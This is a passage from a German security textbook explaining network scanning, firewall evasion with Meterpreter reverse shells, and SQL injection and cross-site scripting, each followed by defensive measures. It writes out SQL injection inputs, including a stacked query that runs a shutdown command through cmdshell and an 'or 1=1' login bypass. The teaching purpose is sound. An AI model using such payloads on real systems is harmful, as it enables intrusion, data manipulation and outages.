prüfen, ob die Datenpakete in einem Netzwerk den richtigen Weg zu einem Ziel finden. Ein Umweg kann auf eine fehlerhafte Konfiguration oder den Ausfall eines Routers hinweisen. Durch die gemessene Laufzeit zu den Zwischenstationen können Engpässe auf der Übertragungsstrecke identifiziert werden. Angreifer können mithilfe von Traceroute Informationen über die Netzwerktopologie des Ziels sammeln. In Windows ist ein Kommando pathping integriert, das einer Mischung aus Traceroute und Ping entspricht. Der Vorteil gegenüber Traceroute besteht darin, dass die Pakete parallel ausgesendet werden, weshalb Pathping auch als schnelles Traceroute (tracert) bezeichnet wird. Das Werkzeug hping3 ist wesentlich mächtiger als Ping: Es ist ein kommandozeilenbasiertes Standardwerkzeug zum Analysieren und Generieren von nahezu beliebigen IPPaketen. Es unterstützt die Protokolle TCP, UDP, ICMP und Raw-IP6 . Mit hping3 lassen
6 Raw-IP sind IP-Pakete, die ohne weitere Protokolle verwendet werden.
62
4 Angriffsmechanismen
sich auch TCP-Pakete mit über Optionen gesetzten Flags erstellen. Solche Pakete lassen sich auch in Scripten einsetzen, um gezielte Protokollverstöße zu provozieren. Sinnvolle Anwendungen von hping3 für Netzwerkadministratoren sind: das Testen von Firewall-Konfigurationen oder das auditieren von TCP/IP Stack-Implementierungen. Die wichtigsten weiteren Anwendungen für hping3 sind: • • • • • •
Erweiterte Port-Scans Netzwerktests mit verschiedenen Protokollen Manuelle Bestimmung der maximalen Paketgrößen (MTU) auf Pfad Erweiterte Traceroute mit allen unterstützten Protokollen (Option –traceroute) Bestimmen eines Fingerabdrucks des entfernten Betriebssystems Überprüfen der Robustheit eines Netzes gegenüber Denial-of-Service-Angriffen (Option –flood)
Allerdings kann man mit der Option „–flood“ auch leicht ein komplettes Netzwerk mit einem einzelnen hping3-Befehl lahm legen. Nmap ist wohl das bekannteste kommandozeilenbasierte Werkzeug für das Scannen ganzer Netzwerke. Netzwerkadmins nutzen Nmap für Inventarisierung, Management von Service-Upgrades sowie zur Überwachen der Uptime von Diensten und Hosts. Cyberkriminelle oder Penetrationstester hingegen verwenden Nmap zur Suche nach Hosts, Diensten, Firewalls und Betriebssystemen sowie offenen Ports in den Endgeräten. Häufig wird Nmap als das „Schweizer Messer“ unter den Port-Scannern bezeichnet. Nmap unterstützt alle im letzten Abschnitt vorgestellten und noch viele weitere Scanning-Techniken. Diese können über entsprechende Parameter beim Aufruf des Programms ausgewählt werden. Eine detaillierte Darstellung der Parameter von Nmap sowie der beispielhafte Einsatz um ein Netzwerk zu analysieren finden Sie im Abschn. 10.6.1. Inzwischen existieren auch zahlreiche GUI-basierte Werkzeuge wie zenmap, pingplotter, multiping, nessus oder OpenVAS, die es Netzwerkadministratoren wie Angreifern erleichtern, große Netze auf Schwachstellen hin zu untersuchen. Nessus und GFI LanGuard sind kommerzielle Werkzeuge zur automatisierten Schwachstellensuche in Rechnernetzen. OpenVAS ist ein Open-Source-Vulnerability-Scanner und Manager, der ebenfalls für die Schwachstellensuche eingesetzt werden kann. Die Internetseite https://ssllabs.com ist geeignet, um Konfigurationsfehler in öffentlich zugänglichen Webservern zu finden. Hier werden im Wesentlichen Schwachstellen in Zertifikaten und veraltete Protokolle in online zugänglichen Webservern analysiert.
4.2.4
Maßnahmen gegen Scanning-Versuche
Als Gegenmaßnahmen zu diesen Scanning-Versuchen sollte ein Administrator FirewallRegeln so konfigurieren, dass Scanning-Pakete erkannt und blockiert werden. Außerdem
4.2
Zugang erlangen
63
bietet es sich an, eigene Systeme mit denselben Werkzeugen wie Angreifer zu testen und sicherzustellen, dass der Router, die Firewall und das Intrusion Detection System (IDS) stets auf dem neuesten Release-Stand sind. Netzwerkadministratoren sollten darüber hinaus darauf achten, dass nicht benötigte Ports blockiert und keine eingehenden fehlerhaften Datenpakete in den Firewalls und in den Routern beantworten werden. Sehr wichtig ist die aktive Schwachstellensuche bei den eigenen Servern durch Netzwerkadministratoren. Mögliche Schwachstellen sind Fehler in der Netzwerkkonfiguration, offene Ports und Services, Fehler in der Konfiguration von Applikationen und Servern sowie Schwachstellen in Applikationen und Diensten. Maßnahmen, die das eigene Netz sichern, sind die Suche nach Hosts im Netzwerk (nmap), das Port Scanning, um offene Ports zu finden (nmap), die Analyse der gesammelten Informationen, die eigene Systeme bekanntgeben (Banner-Grabbing oder einfach per telnet) sowie die Suche nach bekannten Schwachstellen (ssllabs.com oder OpenVAS, Nessus). Diese Maßnahmen zur Absicherung des eigenen Netzes sollten regelmäßig von Netzwerkadministratorinnen und -administratoren durchgeführt werden.
4.2.5
Firewalls umgehen
Eine Firewall soll ein Rechnernetz, ein Subnetz oder einzelne Rechner vor unerwünschten Netzwerkzugriffen schützen(Abb. 4.7). Die Schutzwirkung von Firewalls beruht darauf, dass man grundsätzlich von folgender Annahme ausgeht: Alles was sich hinter der Firewall befindet, also alle Rechner, die sich in einem internen Netzwerksegment befinden, sind grundsätzlich nicht als bösartig einzustufen. Alles, was außerhalb der Firewall liegt, ist grundsätzlich bösartig. Diese Schnittstelle zwischen intern und extern bezeichnet man als Perimeter und das Konzept hinter dieser Sicherung wird deshalb Perimetersicherung genannt. Die Firewall entscheidet anhand von Regeln, welche Zugriffe sie von „bösartigen“ Systemen auf das interne Netzwerksegment zulässt und welche sie blockiert7 . In diesem Abschnitt werden Techniken vorgestellt, wie Angreifer eine Firewall umgehen, um die dahinter liegenden Systeme zu erreichen. Um diese Techniken zu verstehen, ist es zunächst wichtig, die grundlegende Funktionsweise einer Firewall zu beleuchten. Die Software in einer Firewall überwacht den über sie laufenden Datenverkehr und entscheidet anhand festgelegter Regeln, ob sie ein Datenpaket durchlässt oder blockiert. Dabei unterscheiden sich die Regeln nach den Metadaten, also die Richtung des Datenverkehrs,
7 Dieses Sicherungskonzept reicht heute insbesondere bei Cloud-Infrastrukturen und mobilen End-
systemen nicht mehr aus. Mit einem Zero-Trust-Konzept (vgl. Abschn. 8.8 und 8.9), wird grundsätzlich kein Unterschied mehr zwischen internen und extern Systemen gemacht.
64
4 Angriffsmechanismen
Abb. 4.7 Prinzip einer Firewall
IP-Adressen oder IP-Bereiche und die adressierten Ports8 . Das Schutzziel, das durch den Einsatz einer Firewall erreicht werden soll, ist eine Konfiguration der Firewallregeln derart, dass nur solche Datenpakete durchgelassen werden, die ein Empfänger bearbeiten kann oder soll. Natürlich hängt der Regelsatz in der Firewall stark von der Art des Dienstes ab, der gesichert werden soll: Ein Webserver, der von überall im Internet aus erreichbar sein soll, wird mit anderen Regeln geschützt werden, als ein Dateiserver, auf dem vertrauliche Dokumente lagern. Deshalb gibt die Reaktion einer Firewall auf bestimmte Anfragen Hinweise, auf die Funktion oder den Dienst des Servers, der hinter der Firewall betrieben wird. Die Firewall wird über ein Regelwerk konfiguriert. Eine Firewallregel setzt sich wie folgt zusammen: 1. 2. 3. 4. 5. 6.
Absender-IP-Adresse Ziel-IP-Adresse Netzwerkprotokoll (TCP, UDP, …) Port-Nummer (bei TCP und UDP) Aktion (erlauben, verwerfen oder ablehnen) Logging ja/nein
Ein Beispiel für eine einfache Firewallkonfiguration mit der Uncomplicated Firewall (UFW) unter Linux findet sich in Abb. 4.8. Die Statuszeile zeigt an, dass die Firewallregeln aktiv sind. Der Log-Level „low“ bedeutet, dass alle Pakete protokolliert werden, die nicht der definierten Richtlinie entsprechen (mit Begrenzung der maximalen Schreibrate). Die Defaultregeln sind, dass alle eingehenden 8 Neue Firewalls, die auf der Anwendungsschicht arbeiten, untersuchen auch die Inhalte der Daten-
pakete. Dabei wird je eine Verbindung zur Quelle und zum Ziel aufgebaut. Innerhalb der Firewall liegen die Daten unverschlüsselt vor und können für Firewallregeln analysiert werden (ApplicationLayer-Firewall oder Proxy-Firewall).
4.2
Zugang erlangen
65
Abb. 4.8 Eine einfache Konfiguration einer Firewall für einen Webserver
Pakete grundsätzlich gesperrt werden. Alle ausgehenden Pakete sind erlaubt. Pakete werden grundsätzlich nicht weitergeleitet (disable routed). Neue Regeln, die zur Laufzeit hinzugefügt werden könnten, werden ignoriert, damit ein Angreifer die Firewall nicht manipulieren kann. In der Spalte „To“ sind bei ankommenden Paketen die Nummer der Zielports gelistet und in der Spalte „Action“, dass diese Pakte von den unter „From“ gelisteten Quellen angenommen werden. Im zweiten Teil der Tabelle sind die Ziele gelistet, an die keine Pakete gesendet werden dürfen. Weitere Informationen zur Nutzung von UFW finden Sie in [4]. Die Portnummern haben nur einen beschränkten Sicherheitsnutzen. Man kann grundsätzlich nicht verhindern, dass Ports für andere Zwecke missbraucht werden. So kann der Traffic für TCP/SSH (Port22) problemlos auf TCP/HTTP (Port 80) umgeleitet werden. Ein kompromittierter Rechner müsste lediglich den Traffic auf Port 80 entsprechend umleiten. Daraus ergeben sich Möglichkeiten, eine Firewall zu umgehen, indem Datenpakete für geschlossene Ports auf offene Ports umgeleitet werden (Tunneln oder Tunneling). Wie das grundsätzlich geht, soll anhand der Meterpreter-Payload dargestellt werden, die zum Beispiel im Metasploit-Framework enthalten ist. Meterpreter stellt dem Angreifer eine interaktive Shell zur Verfügung, über die sich ein Zielsystem erkunden und Code ausführen lässt. Ein Angriff auf ein Zielsystem könnte wie folgt ablaufen: Zunächst entscheidet sich der Angreifer für einen Angriffsvektor. Dieser Exploit dient dem Eindringen in ein Zielsystem, wobei zum Beispiel ein Programmierfehler eines laufenden Programms ausgenutzt wird. Die Metasploit Version 4.0.0 enthielt zum Zeitpunkt der Freigabe 716 verschiedene Exploits für Windows, Mac OS X, Unix, Linux und andere Systeme. In unserem Beispiel in Abb. 4.9 wurde „Eternal Blue“ über Port (445) ausgewählt. Dieser Angriff setzt voraus, dass der Port
66
4 Angriffsmechanismen
Abb. 4.9 Ein Angriff über „Eternal Blue“ mit der Meterpreter-Payload
445 (SMB) durch die Firewall geöffnet ist und das Zielsystem erreicht. Der Originaldienst auf Port 445 wird nach dem initialen Exploit nicht beeinträchtigt, sodass der Angriff nicht so einfach auffallen wird. Auch hinterlässt die Meterpreter-Shell keinerlei Spuren auf dem Dateisystem des Ziels, da sie sich im Hauptspeicher festsetzt. Nach einem Neustart des Zielrechners ist diese wieder verschwunden und der Angreifer muss erneut einen Kontakt herstellen, sofern er sich kein Backdoor auf dem System eingerichtet hat. Ist die Meterpreter-Payload auf dem Zielsystem installiert, kann dieses Datenpakete an beliebige IP-Adressen über einen frei wählbaren Port versenden. Ausgehende Pakete werden in der Regel nicht durch eine Firewall behindert. In diesem Beispiel nimmt die MeterpreterPayload Kontakt zu einem Server des Angreifers über den Port 4444 auf. Ist unter der angegebenen IP-Adresse ein Server als Listener konfiguriert, kann der Angriff beginnen. Das Prinzip einer Reverse-TCP-Verbindung besteht darin, dass die Antwort auf ein ausgehendes Paket des Zielrechners die Firewall passieren wird, sofern die IP des Angreifers nicht explizit durch eine Deny-List geblockt ist. Ausgehende Anfragen zum Beispiel auf einen Webserver über Port 80 werden normalerweise nicht behindert. Die Firewall merkt sich die Zieladresse und lässt deshalb HTTP- oder HTTPS-Antworten auf diese Anfragen von der angefragten IP-Adresse passieren. Dieses Prinzip muss sichergestellt sein, damit ein User auf beliebigen Webservern Webseiten abrufen kann. In den Antworten des Angriffsservers sind Befehle enthalten, die auf dem Zielrechner über die Meterpreter-Shell ausgeführt werden. Alternativ kann auf dem Ziel auch ein Bind auf einen offenen Port gestartet werden, sofern dieser Port nicht durch eine Firewall blockiert ist (Abb. 4.10). In diesem Fall ist auf der Seite des Angreifers kein Listener notwendig, denn der Angreifer kann über den offenen Port 8000 eine Verbindung zu seiner Meterpreter-Shell herstellen. Das Ziel wartet, bis ein entsprechendes Datenpaket über den offenen Port eintrifft. Lässt sich kein geeigneter Exploit als initialer Angriffsvektor finden, kann der Schadcode auch als E-Mail-Anhang an das Ziel übertragen werden. Der Schadcode öffnet eine Reverse-
4.2
Zugang erlangen
67
Abb. 4.10 Ein Angriff über „Eternal Blue“ mit der Meterpreter-Payload über einen offenen Port
Connection zum Angreifer, sodass ebenfalls kein Listener notwendig ist. Das Ziel wartet auf die Verbindung über einen Port der garantiert geöffnet ist und nicht auffällt (Abb. 4.11). Schließlich lässt sich der initiale Zugang auch über einen Schadcode erreichen, der auf einer Webseite versteckt ist, die das Opfer aufruft. Damit ist die Webseite der initiale Angriffsvektor (Abb. 4.12). Dieser Schadcode wird auf dem Ziel ausgeführt, indem eine Lücke im Browser ausgenützt wird. Solche Lücken werden immer wieder entdeckt, weshalb die Hersteller bekannter Browser regelmäßige Updates bereitstellen. Dieser Angriffsweg wird im Abschn. 4.2.8 Cross-Site-Scripting (XSS) weiter vertieft. Ist ein Angreifer auf diese Weise in ein Zielsystem vorgedrungen, hat er zahlreiche Möglichkeiten, weiteren Schaden anzurichten: er kann Dateien löschen oder manipulieren, das Mikrofon oder die Kamera einschalten oder im System nach für ihn interessanten Dateien suchen und diese herunterladen.
Abb. 4.11 Ein Angriff über einen E-Mail-Anhang
68
4 Angriffsmechanismen
Abb. 4.12 Ein Angriff über einen kompromittierte Webseite
4.2.6
Angriffe auf Webserver
Da Webserver rund um die Uhr aus dem öffentlichen Internet erreichbar sind, werden diese besonders häufig zum Ziel von Angriffen oder Scanning-Versuchen. Finden Cyberkriminelle eine Lücke in einem Webserver, kann dieser übernommen und von hier aus weitere Angriffe gestartet werden. Im Lauf der Zeit schleichen sich beim Betrieb eines Webservers oft Fehler ein, die es Angreifern ermöglichen, eigene Webseiten zu platzieren oder sogar den kompletten Webserver zu kapern. Typische Fehler sind: • • • • • • • •
Nicht oder zu spät eingespielte Patches Längerer Betrieb des Webservers ohne Neustart Fehler in der Konfiguration eines Webservers Vergessener Neustart, sodass ein eingespielter Patch nicht aktiviert ist Aktivierung von nicht benötigten Komponenten Erweiterte Zugriffsrechte für Dateien, Verzeichnisse oder Systemteile Standardkonfigurationen mit Standardpasswörtern Unsichere oder fehlerhafte Programmierung
Solche Fehler bieten Angreifern einige Angriffsflächen. Angreifer nutzen diese Fehler aus, indem sie versuchen, ausführbaren Code in eine Eingabemaske einer Webanwendung einzugeben. Mit Injection-Angriffen kann ein Angreifer eigenen Code einschleusen, mit dem der reguläre Programmablauf oder der Webserver selbst gestört wird. So kann ein Datendiebstahl oder eine vollständige Übernahme eines Systems erfolgen. Wurde vergessen, die Standardpasswörter zu ändern, können Angreifer diese ebenfalls nutzen, um in ein System einzubrechen. Manche Webanwendungen sind so programmiert, dass Logins oder Sicherheitsabfragen auch einfach umgangen werden können. Immer wieder
4.2
Zugang erlangen
69
gehen Berichte durch die Presse, bei denen vertrauliche Daten für jeden einsehbar im Internet exponiert wurden oder die Zugriffskontrollen so schwach war, dass sie von Angreifern problemlos umgangen wurden und Daten abgeflossen sind.
4.2.7
SQL-Injection (SQLi)
Manche Webanwendungen sind sehr komplexe, in der Regel mehrstufige Systeme, die vom öffentlichen Internet erreichbar sein müssen und oft rund um die Uhr laufen. Vom Internet aus ist in der Regel nur der Webserver direkt erreichbar. Dieser hat jedoch Zugriff auf den Applikationsserver und dieser wiederum nutzt die Daten des Backend- oder Datenbankservers (Abb. 4.13). Cyberkriminelle sind besonders an den Daten des Datenbankservers interessiert. Die demilitarisierte Zone (DMZ) ist ein Bereich, bei dem direkte Zugriffe auf bestimmte Dienste oder Ports der in dieser Zone betriebenen Server zugelassen sind. In der DMZ werden Mail-, FTP-, Web- oder VPN-Zugangsserver betrieben, die vom öffentlichen Internet erreichbar sein sollen. Diese werden besonders sorgfältig konfiguriert und stehen gleichzeitig unter besonderer Beobachtung durch die Netzwerkadministratoren. Die Systeme in der DMZ werden durch weitere Firewalls vom internen Netz getrennt. Grundsätzlich sollten Verbindungen zwischen den Servern in der DMZ und dem inneren Netz immer von innen initiiert werden. Im Falle von Mail- oder Webserver ist das grundsätzlich auch möglich. Eine Ausnahme für diese Regel stellen Datenbankserver dar. Datenbankserver befinden sich in der Regel im internen Netz und sind, wie im Abb. 4.13 dargestellt, ggf. durch eine weitere Firewall geschützt. Obwohl der Datenbankserver über mehrere Firewalls geschützt wird, ist ein Zugriff trotzdem grundsätzlich möglich: Handelt es sich bei der Webanwendung zum Beispiel um einen Webshop, werden Kunden-Logins oder Suchanfragen für bestimmte Artikel im Webshop über den Applikationsserver auf Datenbankabfragen in der Kunden- oder Artikeldatenbank
Abb. 4.13 Typische Architektur einer Webanwendung
70
4 Angriffsmechanismen
abgebildet. Grundsätzlich werden Anfragen aus Eingabemasken der Weboberfläche über alle Stufen an den Datenbankserver weitergereicht. Es ist die Aufgabe des Webservers und des Anwendungsservers, nur zulässige Anfragen anzunehmen und diese vor der Weitergabe soweit zu entschärfen, dass sie keinen Schaden im Datenbankserver anrichten können. Ein Datenbankbefehl, eingegeben in einer LoginMaske, darf niemals direkt auf der dahinter liegenden Datenbank zur Ausführung kommen. Immer wieder zeigt sich, dass Entwickler von Webanwendungen hier Fehler machen. Eine spezielle Form der Injection-Angriffe soll hier etwas genauer betrachtet werden: SQL-Injection9 . SQL (Standard Query Language) ist eine standardisierte Abfragesprache für zahlreiche Datenbanksysteme. Bei dieser Art von Angriffen geht es den Cyberkriminellen darum, bis zum Datenbankserver vorzudringen, um dort einen Zugriff auf die Daten zu erhalten oder die Daten in der Datenbank zu manipulieren. Unter SQL-Injection versteht man das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken. Die Sicherheitslücke entsteht durch einen Programmierfehler in einem Programm auf der Anwendungsebene, das auf die darunterliegende Datenbank zugreift. Durch diesen Programmierfehler können Cyberkriminelle Datenbankbefehle einschleusen, die unter bestimmten Umständen auf der Datenbank zur Ausführung kommen. Mithilfe dieser Befehle können die Angreifer Daten aus der Datenbank auslesen, Daten unberechtigt ändern, ganze Datenbanken löschen oder sogar die Kontrolle über den kompletten Datenbankserver übernehmen. Das spezielle Problem bei SQL-Abfragen der Datenbank kommt daher, dass die Anfrage an die Datenbank in Form von SQL-Statements über die Anwendung meist durch Stringvariablen implementiert wird, die in der Web-Anwendung zusammengestellt und an die Datenbank übergeben werden. Macht es sich der Anwendungsprogrammierer einfach und kopiert den Inhalt der Eingabemaske direkt in die Datenbankanfrage, können auf diese Weise Eingaben, die SQL-Befehle beinhalten, bei der Datenbank landen. Damit ein SQL-Injection-Angriff erfolgreich ist, müssen folgende Voraussetzungen gegeben sein: • Es handelt sich um eine SQL-Datenbank, auf der die Daten gespeichert sind. Diese Voraussetzung lässt sich in der Regel durch fehlerhafte Eingaben leicht überprüfen. Anhand der Fehlermeldung können Cyberkriminelle erkennen, um was für ein Datenbanksystem es sich handelt (Fingerprinting). Bereits die Ausgabe einer solchen Fehlermeldung wird deshalb schon als Sicherheitsschwachstelle gewertet. • Ein Anwendungsprogramm mit einer Eingabemaske greift auf die Datenbank zu. Das können Login-Masken sein, aber auch Eingabemasken in einem Suchfeld, um zum Beispiel Produkte in einer Datenbank zu suchen.
9 Laut der Webseite https://owasp.org/www-project-top-ten nehmen erfolgreiche Angriffe über SQL-
Injection wieder ab. Der Grund könnte sein, dass in den meisten Web-Frameworks entsprechende Sicherheitsvorkehrungen implementiert sind.
4.2
Zugang erlangen
71
• Das Anwendungsprogramm reicht die Daten aus der Suchanfrage ohne Sicherheitsvorkehrungen an die Datenbank weiter. In SQL gibt es einige Sonderzeichen, die für einen solchen Angriff nützlich sind: Ein Apostroph (’) oder in einigen Datenbanken auch ein Anführungszeichen (”) beendet einen Textstring. Ein Backslash (\) verhindert, dass das nachfolgende Zeichen als Sonderzeichen interpretiert wird. Ein Semikolon (;) trennt zwei Datenbankbefehle und ein doppelter Bindestrich (- -) oder die Raute (#) leitet einen Kommentar bis zum Zeilenende ein, was dazu führt, dass der Rest der Zeile ignoriert wird. Auf diese Weise lassen sich SQL-Befehle modifizieren. Ein einfaches Beispiel für eine Abfrage in einer Adressdatenbank soll das Prinzip von SQL-Injection-Angriffen verdeutlichen. Gegeben das folgende einfache SQL-Statement für die Suche in einer Datenbank: SQL-Suchanfrage SELECT id, name, vorname, telefonnummer FROM adressbuch WHERE vorname = ’suchstring’
Gesucht wird nach allen Einträgen „id“, „name“, „vorname“ und „telefonnummer“ in der Datenbank „adressbuch“, bei der der Vorname dem Suchstring entspricht. Der Suchstring sei nun eine Eingabemaske auf einer Webseite. Gibt ein Nutzer den String „Wilhelm“ an, werden alle Einträge der Datenbank mit dem Vornamen „Wilhelm“ gefunden. Ein Angreifer könnte nun die scheinbar sinnlose Sucheingabe „Wilhelm’ ;GO EXEC cmdshell(’shutdown /s’) - -“ eingeben. Damit wird der Suche nach dem Vornamen „Wilhelm“, die mit dem ersten „ ’ “ abgeschlossen ist, ein weiterer SQL-Befehl angehängt. Dieser zweite Befehl fährt das System herunter, auf dem die Datenbank läuft. Für die Datenbank entsteht mit dieser Eingabe also das folgende SQL-Statement: SQL-Injection SELECT id, name, vorname, telefonnummer FROM adressbuch WHERE vorname = ’Wilhelm’ ;GO EXEC cmdshell(’shutdown /s’) - -’
Auf die gleiche Weise können nahezu beliebige Befehle über das Webinterface und den Applikationsserver direkt an die Datenbank übertragen werden, um Daten zu löschen, zu manipulieren oder auszuspähen. Das Kommando „GO EXEC cmdshell(’Befehl’);“ wird an das Betriebssystem weitergeleitet und wird dort mit den Rechten der Datenbank ausgeführt.
72
4 Angriffsmechanismen
So ließe sich unter Umständen ein Backdoor mit dem Befehl „adduser“ und den richtigen Parametern in das Datenbanksystem einrichten, sofern die Datenbank unter Linux läuft. Auch Logins lassen sich auf diese Weise manchmal umgehen. Wird in einer Anwendung nach einem Usernamen und Passwort gefragt, kann ein Angreifer es mit dem Passwort „or 1=1- -“ versuchen. Die Datenbankabfrage, die daraus generiert wird lautet: Datenbank-Login SELECT * FROM table WHERE usr = ’admin’ and pass = ’ ’ or 1=1 - -
Da der Ausdruck „1=1“ und damit die OR-Verknüpfung bei der Passwortabfrage immer wahr ist, kann diese Eingabe dazu führen, dass ein Angreifer als Administrator der Datenbank Zugang erhält. Der Zusatz „- -“ am Ende der „WHERE“-Klausel sorgt dabei dafür, dass der Rest dieser Zeile als Kommentar interpretiert und somit ignoriert wird. SQLi-Angriffe funktionieren deshalb, weil die SQL-Statements in der Anwendung in Form von Zeichenketten (Strings) zusammengestellt werden. Dieser String wird anschließend an die SQL-Datenbank übergeben und dort interpretiert. Eine besondere Form von SQL-Injection sind SQLi-Angriffe zweiter Ordnung. In der ersten Stufe werden Fragmente eines schädlichen SQL-Befehls in die Datenbank eingetragen. Dort bleibt dieser Text gespeichert, bis zu einem späteren Zeitpunkt eine Anwendung, die nicht ausreichend gegen SQL-Injection geschützt wurde, auf dieses Datum zugreift, daraus ein SQL-Statement zusammenstellt und zur Ausführung bringt. Ein Beispiel: 1. Eine nicht ausreichend geschützte Webanwendung bietet die Möglichkeit, Benutzer anzulegen. Ein Angreifer registriert den Nutzer „administrator’ - -“. Dieser Name wird in der Datenbank genau so gespeichert. 2. Über die „Passwort ändern“-Funktion kann der Angreifer ein neues Passwort vergeben. Die Überprüfung des alten Passworts findet in der Webanwendung für den korrekten Namen „administrator’ - -“ statt und wird zugelassen. 3. Jetzt generiert die Webanwendung ein SQL-Statement, das die Passwortänderung in der Datenbank durchführt. Weil das „- -“ im SQL-Statement als Kommentar interpretiert wird, würde in diesem Fall das Passwort des Datenbankadministrators („administrator“) geändert werden. 4. Die Angreifer können sich anschließend an der Datenbank mit dem neu gesetzten Passwort als „administrator“ anmelden. Besonders perfide an diesem Angriff ist, dass das SQL-Kommando zur Änderung des Passworts von der Webanwendung kommt, also nicht durch direkte Eingabe eines Benutzers
4.2
Zugang erlangen
73
erzeugt wird. Solche Zugriffe werden in der Regel nicht mehr gegen schädliche Statements gesichert. Wie kann man solche Angriffe verhindern? Der wichtigste Schritt ist, dass Benutzereingaben auf Anwendungsebene grundsätzlich bereinigt werden. Man kann gültige Benutzereingaben in einer Allow-List führen oder die Menge der erlaubten Zeichen in einem Eingabefeld einschränken. So kann der Webserver bei einer Suchabfrage beispielsweise nur Buchstaben und das Leerzeichen zulassen. Eine Suchanfrage mit Sonderzeichen wird dann abgelehnt. Eine weitere Maßnahme gegen SQL-Injection auf der Ebene des Anwendungsservers könnte sein, dass nur vorher kompilierte SQL-Befehle (Prepared Statements) ausgeführt werden können, die z. B. über eine Case-Anweisung im Anwendungsprogramm gestartet werden. Dieses Verfahren nennt man Prepared SQL Queries. Wenn nur wenige SQL-Befehle abgesetzt werden sollen, bietet sich auch der Einsatz von „Stored-Procedures“ an. Hier werden die fertigen SQL-Statements in einer Prozedur gekapselt, die von der Anwendung aus gestartet wird.
4.2.8
Cross-Site-Scripting (XSS)
Der Name „Cross-Site-Scripting“ führt etwas in die Irre. Damit ist nicht etwa gemeint, dass zwei Websites beteiligt sind, sondern, dass Code aus einem wenig vertrauenswürdigen Kontext in einen vertrauenswürdigen Kontext übertragen wird und dieser auf dem Webclient zur Ausführung kommt, um Nutzerdaten auszuspähen. Wie SQLi gehört XSS ebenfalls in die Klasse der Injection-Angriffe. Ein klassisches Beispiel für Cross-Site-Scripting wäre JavaScript-Code in einem Userforum oder Gästebuch. Cyberkriminelle könnten JavaScript-Code in einem Gästebuch, einer Bewertung oder einem Userforum ablegen, der im normalen Text eingebettet ist. JavaScript wird in HTML-Code wie folgt eingebunden:
Ist das Eintragen des Textes oder der Bewertung in JavaScript realisiert, muss der Kontext durch die Escapesequenz ’’> zunächst verlassen werden. Am Ende muss sichergestellt sein, dass durch die Code Injection wieder ein fehlerfreier HTML- oder JavaScript-Code entsteht, damit der Browser diesen auch ausführt. Dieser JavaScript-Schadcode wird beim Besuch der Webseite zusammen mit dem Text auf den Clientrechner übertragen. Der Webbrowser auf diesem Clientrechner stellt zwar den Text, nicht jedoch den eingebetteten JavaScript-Code dar, sondern führt diesen direkt aus.
74
4 Angriffsmechanismen
Der Angriff zielt also nicht auf den Webserver selbst, sondern auf den Browser des Users, mit dem dieser die Webseite besucht. Zwar wird JavaScript-Code in einer sogenannten Sandbox isoliert ausgeführt, aber Cyberkriminelle finden immer wieder Lücken und Programmierfehler im Browser, um aus dieser Sandbox auszubrechen. Mögliche Schadfunktion dieses JavaScript-Codes könnten sein: • • • • •
Die Übernahme der Benutzer-Session durch die Cyberkriminellen Unerwünschte Veränderung des Webseiteninhalts (Website-Defacement) Phishingangriffe über eingeblendete Passwortabfragen Auslesen oder Modifikation von Cookies Übernahme der Kontrolle des Benutzerbrowsers oder bei entsprechenden Lücken, zum Beispiel in veralteten Browsern, auch des gesamten Systems
Neben Foren oder Gästebüchern kann auch Werbung auf ansonsten ungefährlichen Webseiten solchen Schadcode enthalten. Dabei kommt es den Cyberkriminellen entgegen, dass Werbung meist direkt über ein Werbeportal und weitgehend ungeprüft in die Webseiten des Anbieters übertragen werden kann. Da der Schadcode permanent auf dem Webserver gespeichert ist, spricht man in diesem Zusammenhang auch von Persistent Cross-Site-Scripting. Eine weiterer Art ist das Reflektierte Cross-Site-Scripting, bei dem der Angreifer versucht, über einen manipulierten Link den Inhalt einer Webseite (z. B. eine Anmeldeseite) zu manipulieren. Dieser Link könnte zum Beispiel über eine E-Mail an das Opfer übertragen werden. Klickt das Opfer auf diesen Link, wird zwar die originale Anmeldeseite gezeigt, die Eingaben (z. B. der Username und das Passwort) werden durch die Modifikation der URL jedoch an den Angreifer gesendet. Der Schadcode existiert also nur temporär und wird nur dann aufgerufen, wenn das Opfer auch wirklich auf den Link klickt. Für das Opfer ist die Manipulation der URL nur schwer zu erkennen, denn es wird tatsächlich die originale Webseite aufgerufen. Lediglich die Erweiterungen der URL lassen erkennen, dass die eingegebenen Daten an ein anderes Ziel gesendet werden. Die dritte Variante nennt man DOM-basiertes Cross-Site-Scripting oder lokales CrossSite-Scripting. DOM steht in diesem Kontext für das Document Object Model, eine Programmierschnittstelle, die definiert, wie Elemente in einem HTML- oder XML-Dokument erstellt, geändert oder gelöscht werden können. DOM bietet eine Standard-API für die dynamische Änderung von Inhalt, Stil und Struktur von Webseitendokumenten. Ein DOMbasierter Cross-Site-Scripting-Angriff erfolgt so, dass die Payload des Angriffs als Ergebnis der Änderung der DOM-Umgebung im Browser des Opfers ausgeführt wird. Der clientseitige Code wird auf unerwartete Weise ausgeführt, sodass sich Antwort des Servers nicht ändert, aber der in der Seite enthaltene clientseitige Code aufgrund der bösartigen Änderungen in der DOM-Umgebung anders ausgeführt wird.
4.2
Zugang erlangen
75
Ein einfaches Beispiel soll das Prinzip des DOM-basierten Cross-Site-Scriptings erläutern. Eine personalisierte Begrüßungsseite einer Website www.vulnerable.site könnte zum Beispiel wie folgt aussehen: DOM-basiertes XSS
Hallo
...
Ruft man diese Seite mit dem Parameter „Wilhelm“ auf („https://www.vulnerable.site/ welcome.html?name=Wilhelm“, erscheint die Begrüßung „Hallo Wilhelm“ im Browser. Wird die Seite jedoch mit dem Parameter „“ also über die URL „https://www.vulnerable.site/welcome.html?name=“ aufgerufen, so würde die selbe HTMLAntwort des Webservers dazu führen, dass ein Eingabefeld für ein Passwort im Kontext des Browsers ausgeführt wird. Eine tiefere Betrachtung über das Cross-Site-Scripting mit zahlreichen weiteren Beispielen findet sich in [5] oder auf den Webseiten der OWASP-Foundation [6]. Schutzmaßnahmen zur Vorbeugung von Schwachstellen in Webanwendungen hat das BSI in einem Maßnahmenkatalog zusammengestellt [7]. Wer sich mit einem der Angriffsszenarien praktisch austoben möchte, findet in [8] den passenden Spielplatz.
4.2.9
Man-in-the-Middle-Angriffe
